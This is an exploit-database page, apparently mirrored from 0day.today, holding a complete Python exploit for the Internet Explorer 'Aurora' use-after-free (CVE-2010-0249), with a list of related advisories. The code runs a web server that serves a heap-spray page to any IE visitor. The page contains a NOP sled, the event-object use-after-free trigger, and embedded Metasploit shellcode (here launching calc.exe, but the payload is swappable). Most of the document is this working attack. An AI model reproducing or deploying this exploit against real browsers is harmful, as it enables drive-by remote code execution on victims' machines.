MS Internet Explorer Aurora Exploit

🗓️ 17 Jan 2010 00:00:00Reported by Ahmed ObiedType

zdt🔗 0day.today👁 38 Views

This program acts as a web server generating an exploit targeting Internet Explorer vulnerability CVE-2010-0249. The exploit was tested using Internet Explorer 6 on Windows XP SP2, spawning the calculator as payload

Reporter	Title	Published	Views	Family All 40
canvas	Immunity Canvas: AURORA_FLASH	15 Jan 201017:30	–	canvas
Circl	CVE-2010-0249	17 Jan 201000:00	–	circl
CISA KEV Catalog	Microsoft Internet Explorer Use-After-Free Vulnerability	20 May 202600:00	–	cisa_kev
CISA	CISA Adds Seven Known Exploited Vulnerabilities to Catalog	20 May 202612:00	–	cisa
Check Point Advisories	Preemptive Protection against Microsoft Internet Explorer Invalid Pointer Reference Remote Code Execution Vulnerability (MS10-002)	17 Jan 201000:00	–	checkpoint_advisories
Check Point Advisories	Internet Explorer Invalid Pointer Reference Memory Corruption (CVE-2010-0249)	17 Jan 201000:00	–	checkpoint_advisories
Check Point Advisories	Trojan: Aurora.Hydraq (CVE-2010-0249)	27 Jan 201000:00	–	checkpoint_advisories
Check Point Advisories	Microsoft Internet Explorer HTML Object Memory Corruption Vulnerability Use After Free - Ver2 (CVE-2010-0249)	16 Apr 201400:00	–	checkpoint_advisories
CVE	CVE-2010-0249	15 Jan 201017:00	–	cve
Cvelist	CVE-2010-0249	15 Jan 201017:00	–	cvelist

===================================
MS Internet Explorer Aurora Exploit
===================================

#
#   Author : Ahmed Obied ([email protected])
#
#   This program acts as a web server that generates an exploit to
#   target a vulnerability (CVE-2010-0249) in Internet Explorer.
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2.
#   The exploit's payload spawns the calculator.
#
#   Usage  : python ie_aurora.py [port number]
#  
  
import sys
import socket
 
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
         
class RequestHandler(BaseHTTPRequestHandler):
 
    def convert_to_utf16(self, payload):
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            for j in range(0, 2):
                num += (ord(payload[i + j]) & 0xff) << (j * 8)
            enc_payload += '%%u%04x' % num
        return enc_payload
                 
    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
        return self.convert_to_utf16(payload)
     
    def get_exploit(self):
        exploit = '''
        <html>
        <head>
            <script>
             
            var obj, event_obj;
             
            function spray_heap()
            {
                var chunk_size, payload, nopsled;
             
                chunk_size = 0x80000;
                payload = unescape("<PAYLOAD>");
                nopsled = unescape("<NOP>");
                while (nopsled.length < chunk_size)
                    nopsled += nopsled;
                nopsled_len = chunk_size - (payload.length + 20);       
                nopsled = nopsled.substring(0, nopsled_len);
                heap_chunks = new Array();
                for (var i = 0 ; i < 200 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }
         
            function initialize()
            {
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 200 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }
         
            function ev1(evt)
            {
                event_obj = document.createEventObject(evt);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 1);
            }
       
            function ev2()
            {
                var data, tmp;
                 
                data = "";
                tmp = unescape("%u0a0a%u0a0a");
                for (var i = 0 ; i < 4 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) {
                    obj[i].data = data;
                }
                event_obj.srcElement;
            }
                     
            function check()
            {
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;  
            }
             
            if (check()) {
                initialize();
                spray_heap();              
            }
            else
                window.location = 'about:blank'
                 
            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>       
        </body>
        </html>
        '''
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
        return exploit
 
    def get_image(self):
        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
        content += '\x01\x00\x3b'
        return content
 
    def log_request(self, *args, **kwargs):
        pass
         
    def do_GET(self):
        try:
            if self.path == '/':
                print
                print '[-] Incoming connection from %s' % self.client_address[0]
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                print '[-] Sending exploit to %s ...' % self.client_address[0]
                self.wfile.write(self.get_exploit())
                print '[-] Exploit sent to %s' % self.client_address[0]
            elif self.path == '/aurora.gif':     
                self.send_response(200)
                self.send_header('Content-Type', 'image/gif')
                self.end_headers()
                self.wfile.write(self.get_image())
        except:
            print '[*] Error : an error has occured while serving the HTTP request'
            print '[-] Exiting ...'
            sys.exit(-1)
             
                        
def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
        sys.exit(0)
    try:
        port = int(sys.argv[1])
        if port < 1024 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except:
                print '[-] Exiting ...'
        except socket.error:
            print '[*] Error : a socket error has occurred'
        sys.exit(-1)   
    except ValueError:
        print '[*] Error : an invalid port number was given'
        sys.exit(-1)
             
if __name__ == '__main__':
    main()



#  0day.today [2018-03-19]  #

17 Jan 2010 00:00Current

7.1High risk

Vulners AI Score7.1

EPSS0.88677